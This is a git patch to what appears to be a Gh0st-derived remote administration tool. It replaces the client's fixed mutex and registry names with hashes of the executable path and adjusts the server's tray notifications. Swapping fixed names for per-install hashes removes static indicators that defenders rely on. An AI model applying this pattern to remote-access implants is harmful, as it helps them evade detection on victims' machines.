From 3aedb38217bbc5b5f276b89eb8522e3c396abe3b Mon Sep 17 00:00:00 2001
From: yuanyuanxiang <962914132@qq.com>
Date: Mon, 22 Dec 2025 10:52:38 +0100
Subject: [PATCH] Improve: Change registry/mutex name of client program

---
 client/ClientDll.cpp                |  2 +-
 common/iniFile.h                    | 45 ++++++++++++++++++++++++++++-
 server/2015Remote/2015RemoteDlg.cpp | 19 +++++++++++-
 server/2015Remote/2015RemoteDlg.h   |  1 +
 4 files changed, 64 insertions(+), 3 deletions(-)

diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp
index 5367242..7e222c4 100644
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -217,7 +217,7 @@ int main(int argc, const char *argv[])
 
     status = E_RUN;
 
-    HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
+    HANDLE hMutex = ::CreateMutexA(NULL, TRUE, GetExeHashStr().c_str());
     if (ERROR_ALREADY_EXISTS == GetLastError()) {
         CloseHandle(hMutex);
         hMutex = NULL;
diff --git a/common/iniFile.h b/common/iniFile.h
index bf33007..934a3cf 100644
--- a/common/iniFile.h
+++ b/common/iniFile.h
@@ -3,7 +3,7 @@
 #include "common/commands.h"
 
 #define YAMA_PATH			"Software\\YAMA"
-#define CLIENT_PATH			"Software\\ServerD11"
+#define CLIENT_PATH			GetRegistryName()
 
 #define NO_CURRENTKEY 1
 
@@ -12,6 +12,41 @@
 #include <sddl.h>
 #pragma comment(lib, "wtsapi32.lib")
 
+inline std::string GetExeDir()
+{
+    char path[MAX_PATH];
+    GetModuleFileNameA(nullptr, path, MAX_PATH);
+
+    char* lastSlash = strrchr(path, '\\');
+    if (lastSlash) *lastSlash = '\0';
+
+    CharLowerA(path);
+    return path;
+}
+
+inline std::string GetExeHashStr()
+{
+    char path[MAX_PATH];
+    GetModuleFileNameA(nullptr, path, MAX_PATH);
+    CharLowerA(path);
+
+    ULONGLONG hash = 14695981039346656037ULL;
+    for (const char* p = path; *p; p++)
+    {
+        hash ^= (unsigned char)*p;
+        hash *= 1099511628211ULL;
+    }
+
+    char result[17];
+    sprintf_s(result, "%016llX", hash);
+    return result;
+}
+
+static inline std::string GetRegistryName() {
+    static auto name = "Software\\" + GetExeHashStr();
+    return name;
+}
+
 // 获取当前会话用户的注册表根键
 // SYSTEM 进程无法使用 HKEY_CURRENT_USER，需要通过 HKEY_USERS\<SID> 访问
 // 返回的 HKEY 需要调用者在使用完毕后调用 RegCloseKey 关闭
@@ -159,6 +194,10 @@ public:
     {
         m_hRootKey = GetCurrentUserRegistryKey();
         m_SubKeyPath = path;
+        if (path != YAMA_PATH) {
+            static std::string workSpace = GetExeDir();
+            SetStr("settings", "work_space", workSpace);
+        }
     }
 
     // 写入整数，实际写为字符串
@@ -233,6 +272,10 @@ public:
     {
         m_hRootKey = GetCurrentUserRegistryKey();
         m_SubKeyPath = path;
+        if (path != YAMA_PATH) {
+            static std::string workSpace = GetExeDir();
+            SetStr("settings", "work_space", workSpace);
+        }
     }
 
     // 写入整数（写为二进制）
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 4d570f7..7e67b00 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -53,6 +53,7 @@
 #define UM_ICONNOTIFY WM_USER+100
 #define TIMER_CHECK 1
 #define TIMER_CLOSEWND 2
+#define TIMER_CLEAR_BALLOON 3
 #define TODO_NOTICE MessageBoxA("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
 #define TINY_DLL_NAME "TinyRun.dll"
 #define FRPC_DLL_NAME "Frpc.dll"
@@ -414,6 +415,7 @@ std::string CMy2015RemoteDlg::GetHardwareID(int v)
 
 CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
 {
+    g_StartTick = GetTickCount();
     auto s = GetMasterHash();
     char buf[17] = { 0 };
     std::strncpy(buf, s.c_str(), 16);
@@ -666,6 +668,7 @@ VOID CMy2015RemoteDlg::CreatStatusBar()
 
 VOID CMy2015RemoteDlg::CreateNotifyBar()
 {
+    m_Nid.uVersion = NOTIFYICON_VERSION_4;
     m_Nid.cbSize = sizeof(NOTIFYICONDATA);     //大小赋值
     m_Nid.hWnd = m_hWnd;           //父窗口    是被定义在父类CWnd类中
     m_Nid.uID = IDR_MAINFRAME;     //icon  ID
@@ -846,7 +849,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
     Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(),
             std::to_string(id).c_str());
     SendMasterSettings(ContextObject);
-    if (m_needNotify)
+    if (m_needNotify && (GetTickCount() - g_StartTick > 30*1000))
         PostMessageA(WM_SHOWNOTIFY, WPARAM(title), LPARAM(text));
     else {
         delete title;
@@ -861,10 +864,12 @@ LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam) {
         NOTIFYICONDATA nidCopy = m_Nid;
         nidCopy.cbSize = sizeof(NOTIFYICONDATA);
         nidCopy.uFlags |= NIF_INFO;
+        nidCopy.dwInfoFlags = NIIF_INFO;
         lstrcpynA(nidCopy.szInfoTitle, title->data, sizeof(nidCopy.szInfoTitle));
         lstrcpynA(nidCopy.szInfo, text->data, sizeof(nidCopy.szInfo));
         nidCopy.uTimeout = 3000;
         Shell_NotifyIcon(NIM_MODIFY, &nidCopy);
+        SetTimer(TIMER_CLEAR_BALLOON, nidCopy.uTimeout, nullptr);
     }
 	if (title->needFree) delete title;
 	if (text->needFree) delete text;
@@ -1560,6 +1565,18 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
     if (nIDEvent == TIMER_CLOSEWND) {
         DeletePopupWindow();
     }
+    if (nIDEvent == TIMER_CLEAR_BALLOON)
+    {
+        KillTimer(TIMER_CLEAR_BALLOON);
+
+        // 清除气球通知
+        NOTIFYICONDATA nid = m_Nid;
+        nid.cbSize = sizeof(NOTIFYICONDATA);
+        nid.uFlags = NIF_INFO;
+        nid.szInfo[0] = '\0';
+        nid.szInfoTitle[0] = '\0';
+        Shell_NotifyIcon(NIM_MODIFY, &nid);
+    }
 
     CDialogEx::OnTimer(nIDEvent);
 }
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index b72457c..1b6d6b6 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -164,6 +164,7 @@ protected:
     void* m_tinyDLL;
     std::string m_superPass;
     BOOL m_needNotify = FALSE;
+    DWORD g_StartTick;
 
     // 生成的消息映射函数
     virtual BOOL OnInitDialog();